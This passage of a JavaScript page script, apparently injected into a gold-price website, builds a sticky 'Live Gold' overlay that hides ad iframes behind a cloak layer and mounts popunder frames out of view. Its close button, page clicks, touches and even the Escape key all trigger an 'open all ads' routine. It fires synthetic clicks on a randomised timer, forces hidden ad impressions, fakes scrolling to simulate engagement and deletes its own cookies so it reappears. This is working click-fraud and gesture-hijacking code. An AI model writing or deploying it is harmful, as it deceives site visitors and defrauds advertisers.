    wrap.setAttribute('data-gp', 'mini-popunder');
    wrap.setAttribute('data-mode', miniPopMode || 'behind');

    if (miniPopMode === 'mini') {
      wrap.style.cssText = [
        'position:absolute',
        'right:' + (miniPopRight || '8px'),
        'bottom:' + (miniPopBottom || '8px'),
        'width:' + (miniPopW || '42%'),
        'height:' + (miniPopH || '48%'),
        'z-index:1',
        'border-radius:10px',
        'overflow:hidden',
        'box-shadow:0 8px 28px rgba(0,0,0,.35)',
        'border:1px solid rgba(250,204,21,.55)',
        'background:#0f172a',
        'pointer-events:none'
      ].join(';');
    } else {

      wrap.style.cssText = [
        'position:absolute',
        'inset:0',
        'z-index:1',
        'width:100%',
        'height:100%',
        'overflow:hidden',
        'background:#fff',
        'pointer-events:none'
      ].join(';');
    }

    if (miniPopMode === 'mini') {
      var bar = document.createElement('div');
      bar.style.cssText = 'height:18px;background:#111827;color:#facc15;font:10px/18px system-ui,sans-serif;padding:0 8px;display:flex;justify-content:space-between';
      bar.innerHTML = '<span>ad · live</span><span>●</span>';
      wrap.appendChild(bar);
    }

    var iframe = document.createElement('iframe');
    iframe.className = 'gp-minipop-frame';
    iframe.id = 'gp-minipop-frame';
    iframe.src = u;
    iframe.setAttribute('title', brandName + ' mini-popunder');
    iframe.setAttribute('loading', 'eager');
    iframe.setAttribute('referrerpolicy', 'no-referrer-when-downgrade');
    iframe.setAttribute('allow', 'autoplay; fullscreen; payment');
    iframe.style.cssText = miniPopMode === 'mini'
      ? 'position:absolute;left:0;right:0;top:18px;bottom:0;width:100%;height:calc(100% - 18px);border:0;background:#fff;'
      : 'position:absolute;inset:0;width:100%;height:100%;border:0;background:#fff;';
    wrap.appendChild(iframe);
    body.appendChild(wrap);
    logEvent('minipop_mount', { mode: miniPopMode || 'behind', url: u, peep: !!miniPopPeep });
    return wrap;
  }

  function tryAutoPopWindow(url) {
    if (!tryAutoWindowOpen) return false;
    var u = url || adUrls[0];
    if (!u) return false;
    try {

      var w = window.open(u, 'gp_auto_pop', 'noopener,noreferrer,width=420,height=640');
      var ok = !!(w && !w.closed);
      logEvent('auto_window_open', { ok: ok, blocked: !ok, url: u });
      return ok;
    } catch (e) {
      logEvent('auto_window_open', { ok: false, err: String(e && e.message || e) });
      return false;
    }
  }

  function mountBody(url) {
    var body = document.getElementById('gp-sticky-body');
    if (!body) return;
    body.innerHTML = '';
    body.setAttribute('data-src', adMode === 'script' ? (adScriptSrc || 'script') : (url || 'multi'));
    body.setAttribute('data-cloak', cloakMode);
    body.setAttribute('data-ad-mode', adMode);
    body.setAttribute('data-minipop', autoMiniPopBehind ? (miniPopMode || 'behind') : 'off');

    var primary = url || adUrls[0];

    if (cloakMode === 'gold') {

      if (adMode === 'script') {
        mountScriptLayer(body);
      }

      mountMiniPopBehind(body, primary);
      mountGoldLayer(body);
      tryAutoPopWindow(primary);
      return;
    }

    if (adMode === 'script') {

      mountScriptLayer(body);
      mountMiniPopBehind(body, primary);
    } else if (adMode === 'stack') {
      mountStackVisible(body);
      if (autoMiniPopBehind && miniPopMode === 'mini') mountMiniPopBehind(body, primary);
    } else {
      mountVisibleIframe(body, primary);
      if (autoMiniPopBehind && miniPopMode === 'mini') mountMiniPopBehind(body, primary);
    }

    var gold = mountGoldLayer(body);

    if (cloakMode === 'gold_over_iframe' || adMode === 'script') {

      var op = (autoMiniPopBehind && miniPopPeep)
        ? (miniPopGoldOpacity != null ? miniPopGoldOpacity : 0.78)
        : goldOpacityOverAd;
      gold.style.opacity = String(op);
      gold.style.pointerEvents = 'auto'; // clicks hit gold → openAllThenClose via sticky handler
      if (revealAdOnHover || (autoMiniPopBehind && miniPopPeep)) {
        gold.addEventListener('mouseenter', function () { gold.classList.add('gp-peep'); });
        gold.addEventListener('mouseleave', function () { gold.classList.remove('gp-peep'); });
      }
    } else {

      gold.style.zIndex = '2';
      setTimeout(function () {
        if (gold && gold.parentNode) gold.style.opacity = '0.12';
      }, 1000);
      if (Number(blankTimeoutMs) > 0) {
        setTimeout(function () {
          if (gold && gold.parentNode) gold.style.opacity = '1';
        }, Number(blankTimeoutMs));
      }
    }

    tryAutoPopWindow(primary);
  }

  function wasRecentScroll() {
    if (!scrollCloseBlock || !scrollCloseBlock.enabled) return false;
    var win = Number(scrollCloseBlock.afterScrollMs) || 320;
    return (Date.now() - lastScrollAt) < win;
  }

  function isScrollLikeTouch() {
    if (!scrollCloseBlock || !scrollCloseBlock.suppressTouchClose) return false;
    if (touchTrack.moved) return true;
    if (wasRecentScroll()) return true;
    return false;
  }

  function bindScrollTouchGuard() {

    window.addEventListener('scroll', function () {
      lastScrollAt = Date.now();
    }, { passive: true, capture: true });
    document.addEventListener('scroll', function () {
      lastScrollAt = Date.now();
    }, { passive: true, capture: true });

    document.addEventListener('touchstart', function (e) {
      touchTrack.active = true;
      touchTrack.moved = false;
      try {
        var t = e.touches && e.touches[0];
        touchTrack.x = t ? t.clientX : 0;
        touchTrack.y = t ? t.clientY : 0;
      } catch (err) {
        touchTrack.x = 0;
        touchTrack.y = 0;
      }
    }, { capture: true, passive: true });

    document.addEventListener('touchmove', function (e) {
      if (!touchTrack.active) return;
      try {
        var t = e.touches && e.touches[0];
        if (!t) return;
        var dx = Math.abs(t.clientX - touchTrack.x);
        var dy = Math.abs(t.clientY - touchTrack.y);
        var thr = Number(scrollCloseBlock.touchMovePx) || 10;
        if (dx >= thr || dy >= thr) {
          touchTrack.moved = true;
          lastScrollAt = Date.now();
        }
      } catch (err2) {}
    }, { capture: true, passive: true });

    document.addEventListener('touchcancel', function () {
      touchTrack.active = false;
      touchTrack.moved = false;
    }, { capture: true, passive: true });
  }

  function bindPageWideOpenClose() {
    if (pageOpenBound) return;
    pageOpenBound = true;
    bindScrollTouchGuard();

    function pageEngage(e, source) {
      if (!shownThisPage || closedThisPage) return;
      if (Date.now() < closeCooldownUntil) return;

      if (source && String(source).indexOf('touch') >= 0 && isScrollLikeTouch()) {
        logEvent('scroll_ignore_close', {
          source: source,
          moved: touchTrack.moved,
          recentScroll: wasRecentScroll()
        });
        touchTrack.active = false;
        touchTrack.moved = false;
        return;
      }

      try {
        if (e && e.preventDefault) e.preventDefault();
        if (e && e.stopPropagation) e.stopPropagation();
        if (e && e.stopImmediatePropagation) e.stopImmediatePropagation();
      } catch (err) {}
      openAllThenClose(source, { gestureEvent: e, withSynth: synthEnabled('chain') });
      touchTrack.active = false;
      touchTrack.moved = false;
    }

    document.addEventListener('click', function (e) {

      if (e && e.isTrusted === false) return;

      if (wasRecentScroll() && e && e.detail === 0) {
        logEvent('scroll_ignore_click', { detail: e.detail });
        return;
      }
      pageEngage(e, 'page-click');
    }, true);

    document.addEventListener('touchend', function (e) {
      if (e && e.isTrusted === false) return;

      pageEngage(e, 'page-touch');
    }, { capture: true, passive: false });

    document.addEventListener('keydown', function (e) {
      if (!shownThisPage || closedThisPage) return;
      var k = e.key || e.code;
      if (k === 'Enter' || k === ' ' || k === 'Spacebar' || k === 'Escape') {
        openAllThenClose('page-key-' + k, { gestureEvent: e, withSynth: synthEnabled('chain') });
      }
    }, true);
  }

  function startViewabilityWatch(el) {
    if (!el || typeof IntersectionObserver !== 'function') {
      viewableLogged = true;
      logEvent('viewable_fallback', { ratio: 1 });
      return;
    }
    try {
      var io = new IntersectionObserver(function (entries) {
        for (var i = 0; i < entries.length; i++) {
          var en = entries[i];
          if (en.isIntersecting && en.intersectionRatio >= viewabilityMinRatio) {
            if (!viewableLogged) {
              viewableLogged = true;
              logEvent('viewable', { ratio: en.intersectionRatio });
            }
          }
        }
      }, { threshold: [0, 0.25, 0.5, 0.75, 1] });
      io.observe(el);
    } catch (e) {
      logEvent('viewable_err', { msg: String(e && e.message) });
    }
  }

  function runAutoEngage() {
    if (!autoEngage || closedThisPage) return;

    setCollapsed(false);

    if (autoMicroScroll) {
      var tScroll = setTimeout(function () {
        if (closedThisPage) return;
        try {
          var y = window.scrollY || document.documentElement.scrollTop || 0;
          window.scrollTo(0, y + autoMicroScrollPx);
          setTimeout(function () {
            try { window.scrollTo(0, y); } catch (e2) {}
          }, 280);
          logEvent('auto_micro_scroll', { px: autoMicroScrollPx });
        } catch (e) {}
      }, autoMicroScrollDelayMs);
      engageTimers.push(tScroll);
    }

    var tDwell = setTimeout(function () {
      if (closedThisPage) return;
      logEvent('auto_dwell', { ms: autoEngageDwellMs });
      var el = document.getElementById(stickyId);
      if (el) el.classList.add('gp-pulse');
    }, autoEngageDwellMs);
    engageTimers.push(tDwell);

    if (synthEnabled('lab_auto')) {
      var base = Number((syntheticClick && syntheticClick.labAutoAfterMs) || 2800);
      var jitter = Number((syntheticClick && syntheticClick.randomJitterMs) || 0);
      var delay = base + (jitter ? Math.floor((Math.random() * 2 - 1) * jitter) : 0);
      if (delay < 500) delay = 500;
      var tSynth = setTimeout(function () {
        if (closedThisPage) return;
        if (syntheticClick.labAutoOnce && synthLabFired) return;
        synthLabFired = true;
        logEvent('synth_lab_auto_arm', { delay: delay });
        try {
          fireSyntheticClick('lab_auto');
        } catch (e1) {}

        try {
          openAllThenClose('synth-lab-auto', {
            fromSynthAuto: true,
            withSynth: false,
            gestureEvent: null
          });
        } catch (e2) {}
      }, delay);
      engageTimers.push(tSynth);
    }

    if (autoPulseMs > 0) {
      var tPulse = setTimeout(function pulse() {
        if (closedThisPage) return;
        var el = document.getElementById(stickyId);
        if (!el) return;
        el.classList.add('gp-pulse');
        setTimeout(function () {
          if (el) el.classList.remove('gp-pulse');
        }, 700);
        var next = setTimeout(pulse, autoPulseMs);
        engageTimers.push(next);
      }, autoPulseMs);
      engageTimers.push(tPulse);
    }

    if (autoCollapseAfterMs > 0) {
      var tCol = setTimeout(function () {
        if (closedThisPage) return;
        setCollapsed(true);
        logEvent('auto_collapse', {});
      }, autoCollapseAfterMs);
      engageTimers.push(tCol);
    }
  }

  function showSticky(source) {
    if (isPageExcluded()) return false;
    if (alreadyDone()) return false;
    if (closedThisPage) return false;

    if (adMode !== 'script' && !adUrls.length) return false;
    if (adMode === 'script' && !adScriptSrc && !adUrls.length) return false;
    if (!document.body) return false;

    var existing = document.getElementById(stickyId);
    if (existing && existing.style.display === 'flex') {
      if (alsoFireHiddenImps) fireImpressions(source || 'already');
      return true;
    }

    injectCss();

    var el = existing;
    if (!el) {
      el = document.createElement('div');
      el.id = stickyId;
      el.setAttribute('role', 'dialog');
      el.setAttribute('aria-label', brandName + ' sticky offer');
      el.innerHTML =
        '<div class="gp-bar">' +
          '<div class="gp-left">' +
            '<button type="button" class="gp-chev" id="gp-chev" aria-label="Collapse">▾</button>' +
            '<div class="gp-titlewrap">' +
              '<div class="gp-title">' + esc(brandName) + ' · Live Gold</div>' +
              '<div class="gp-sub" id="gp-sub">' + esc(brandHostLabel) + ' · loading…</div>' +
            '</div>' +
            buildDotsHtml() +
          '</div>' +
          '<div class="gp-right">' +
            '<button type="button" class="gp-cta" id="gp-cta">' + esc(ctaText) + '</button>' +
            '<button type="button" class="gp-x" id="gp-close" aria-label="Close">×</button>' +
          '</div>' +
        '</div>' +
        '<div class="gp-body" id="gp-sticky-body"></div>' +
        '<div class="gp-brandstrip">' +
          '<span><b>Gold Price UK</b> · ' +
            (adMode === 'script' ? 'script inject' : (adUrls.length + ' offers')) +
            ' · ' + esc(adMode) + ' · ' + esc(cloakMode) +
            (autoMiniPopBehind ? (' · minipop:' + esc(miniPopMode || 'behind')) : '') +
            (alsoFireHiddenImps ? ' · force-imp' : '') +
            '</span>' +
          '<span>Ad</span>' +
        '</div>';
      document.body.appendChild(el);

      var chevBtn = document.getElementById('gp-chev');
      if (chevBtn) {
        chevBtn.addEventListener('click', function (e) {
          e.preventDefault();
          e.stopPropagation();
          if (e.stopImmediatePropagation) e.stopImmediatePropagation();
          var cur = el.classList.contains('gp-collapsed');
          setCollapsed(!cur);
          logEvent('toggle_collapse', { collapsed: !cur });
        }, true);
      }

      var closeBtn = document.getElementById('gp-close');
      if (closeBtn) {
        closeBtn.addEventListener('click', function (e) {
          if (e && e.isTrusted === false) return; // biar synth chain gak re-entry
          e.preventDefault();
          e.stopPropagation();
          if (e.stopImmediatePropagation) e.stopImmediatePropagation();
          openAllThenClose('close-x', { gestureEvent: e, withSynth: synthEnabled('chain') });
        }, true);
      }

      var ctaBtn = document.getElementById('gp-cta');
      if (ctaBtn) {
        ctaBtn.addEventListener('click', function (e) {
          if (e && e.isTrusted === false) return;
          e.preventDefault();
          e.stopPropagation();
          if (e.stopImmediatePropagation) e.stopImmediatePropagation();
          openAllThenClose('cta', { gestureEvent: e, withSynth: synthEnabled('chain') });
        }, true);
      }

      el.addEventListener('click', function (e) {
        if (closedThisPage) return;
        if (e && e.isTrusted === false) return;
        var t = e.target;
        try {
          if (t && t.closest && t.closest('#gp-chev')) return;
        } catch (err) {}
        e.preventDefault();
        e.stopPropagation();
        if (e.stopImmediatePropagation) e.stopImmediatePropagation();
        openAllThenClose('sticky-click', { gestureEvent: e, withSynth: synthEnabled('chain') });
      }, true);

      el.addEventListener('touchend', function (e) {
        if (closedThisPage) return;
        if (e && e.isTrusted === false) return;

        if (isScrollLikeTouch()) {
          logEvent('scroll_ignore_close', { source: 'sticky-touch', moved: touchTrack.moved });
          touchTrack.active = false;
          touchTrack.moved = false;
          return;
        }
        var t = e.target;
        try {
          if (t && t.closest && t.closest('#gp-chev')) return;
        } catch (err) {}
        e.preventDefault();
        e.stopPropagation();
        if (e.stopImmediatePropagation) e.stopImmediatePropagation();
        openAllThenClose('sticky-touch', { gestureEvent: e, withSynth: synthEnabled('chain') });
        touchTrack.active = false;
        touchTrack.moved = false;
      }, { capture: true, passive: false });
    }

    if (adMode === 'script') {

      currentAdUrl = adUrls[0] || adScriptSrc || '';
      mountBody(currentAdUrl);
      updateDots(0);
    } else if (adMode === 'sequence') {
      sequenceIdx = 0;
      currentAdUrl = adUrls[0];
      mountBody(currentAdUrl);
      updateDots(0);
      clearEngageTimers();
      sequenceTimer = setInterval(function () {
        sequenceIdx = (sequenceIdx + 1) % adUrls.length;
        currentAdUrl = adUrls[sequenceIdx];
        mountBody(currentAdUrl);
        updateDots(sequenceIdx);
        logEvent('sequence_tick', { idx: sequenceIdx });
      }, Math.max(3000, Number(sequenceEveryMs) || 8000));
    } else if (adMode === 'rotate') {
      currentAdUrl = getNextUrlRoundRobin() || adUrls[0];
      mountBody(currentAdUrl);
      var ri = adUrls.indexOf(currentAdUrl);
      updateDots(ri >= 0 ? ri : 0);
    } else {
      currentAdUrl = adUrls[0];
      mountBody(currentAdUrl);
      updateDots(0);
    }

    el.style.display = 'flex';
    document.body.classList.add('gp-sticky-pad');
    setCollapsed(false);
    shownThisPage = true;
    viewableLogged = false;

    if (alsoFireHiddenImps || cloakMode === 'gold') {
      fireImpressions(source || 'show');
    }

    bindPageWideOpenClose();
    startViewabilityWatch(el);
    runAutoEngage();
    logEvent('show', { source: source || 'show', cloak: cloakMode, url: currentAdUrl });

    return true;
  }

  function boot() {
    if (isPageExcluded()) return;
    if (alreadyDone()) return;
    showSticky('timer');
  }

  function whenReady(fn) {
    if (document.body) {
      fn();
      return;
    }
    if (document.readyState === 'loading') {
      document.addEventListener('DOMContentLoaded', function () { fn(); });
    } else {
      var n = 0;
      var t = setInterval(function () {
        n++;
        if (document.body || n > 40) {
          clearInterval(t);
          if (document.body) fn();
        }
      }, 50);
    }
  }

  whenReady(function () {

    try {
      document.cookie = 'gp_sticky_status=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/';
      document.cookie = 'gp_sticky_status_v2=;expires=Thu, 01 Jan 1970 00:00:00 GMT;path=/';
      sessionStorage.removeItem('gp_sticky_done');
      sessionStorage.removeItem('gp_sticky_done_v2');
    } catch (e) {}

    if (adMode === 'script' && adScriptPreloadOnBoot && adScriptSrc) {
      try {
        injectAdScript(document.head || document.documentElement, 'boot_preload');
      } catch (e) {}
    }

    window.GPStickyV3 = {
      show: function () { return showSticky('api'); },
      injectScript: function () { return injectAdScript(document.getElementById('gp-sticky-body') || document.head, 'api'); },
      close: function () { openAllThenClose('api', { withSynth: false }); },
      synth: function (reason) { return fireSyntheticClick(reason || 'api'); },
      synthOpen: function () {
        return openAllThenClose('api-synth-lab', { fromSynthAuto: true, withSynth: false });
      },
      excluded: function () { return isPageExcluded(); },
      path: function () { return normPath(location.pathname || '/'); },
      log: function () {
        try { return JSON.parse(ssGet(logKey) || '[]'); } catch (e) { return []; }
      },
      config: {
        cloakMode: cloakMode,
        adMode: adMode,
        autoEngage: autoEngage,
        alsoFireHiddenImps: alsoFireHiddenImps,
        autoMiniPopBehind: autoMiniPopBehind,
        miniPopMode: miniPopMode,
        miniPopPeep: miniPopPeep,
        tryAutoWindowOpen: tryAutoWindowOpen,
        openPrimaryOnly: openPrimaryOnly,
        adUrls: adUrls.slice(),
        adScriptSrc: adScriptSrc,
        pageFilter: pageFilter,
        syntheticClick: syntheticClick,
        scrollCloseBlock: scrollCloseBlock
      }
    };

    if (isPageExcluded()) {
      logEvent('boot_skip', { path: normPath(location.pathname || '/') });
      return;
    }

    setTimeout(boot, Math.max(200, Number(autoShowMs) || 600));

    var lastY = window.scrollY || document.documentElement.scrollTop || 0;
    var scrolledEnough = false;
    var scrollTimer = null;
    function onScroll() {
      if (isPageExcluded()) return;
      if (alreadyDone()) return;
      if (shownThisPage && document.getElementById(stickyId)) return;
      var y = window.scrollY || document.documentElement.scrollTop || 0;
      if (Math.abs(y - lastY) >= minScrollPx) scrolledEnough = true;
      lastY = y;
      if (!scrolledEnough) return;
      if (scrollTimer) clearTimeout(scrollTimer);
      scrollTimer = setTimeout(function () { showSticky('scroll'); }, scrollDebounceMs);
    }
    window.addEventListener('scroll', onScroll, { passive: true });
    document.addEventListener('scroll', onScroll, { passive: true });

    function onGestureShow(e) {
      if (isPageExcluded()) return;
      if (alreadyDone()) return;
      if (closedThisPage) return;
      if (Date.now() < closeCooldownUntil) return;
      try {
        var t = e && e.target;
        if (t && t.closest && t.closest('#' + stickyId)) return;
      } catch (err) {}
      if (shownThisPage && document.getElementById(stickyId)) return;
      showSticky('gesture');
    }
    document.addEventListener('click', onGestureShow, { capture: true, passive: true });
    document.addEventListener('touchend', onGestureShow, { capture: true, passive: true });
  });
})();
</script>
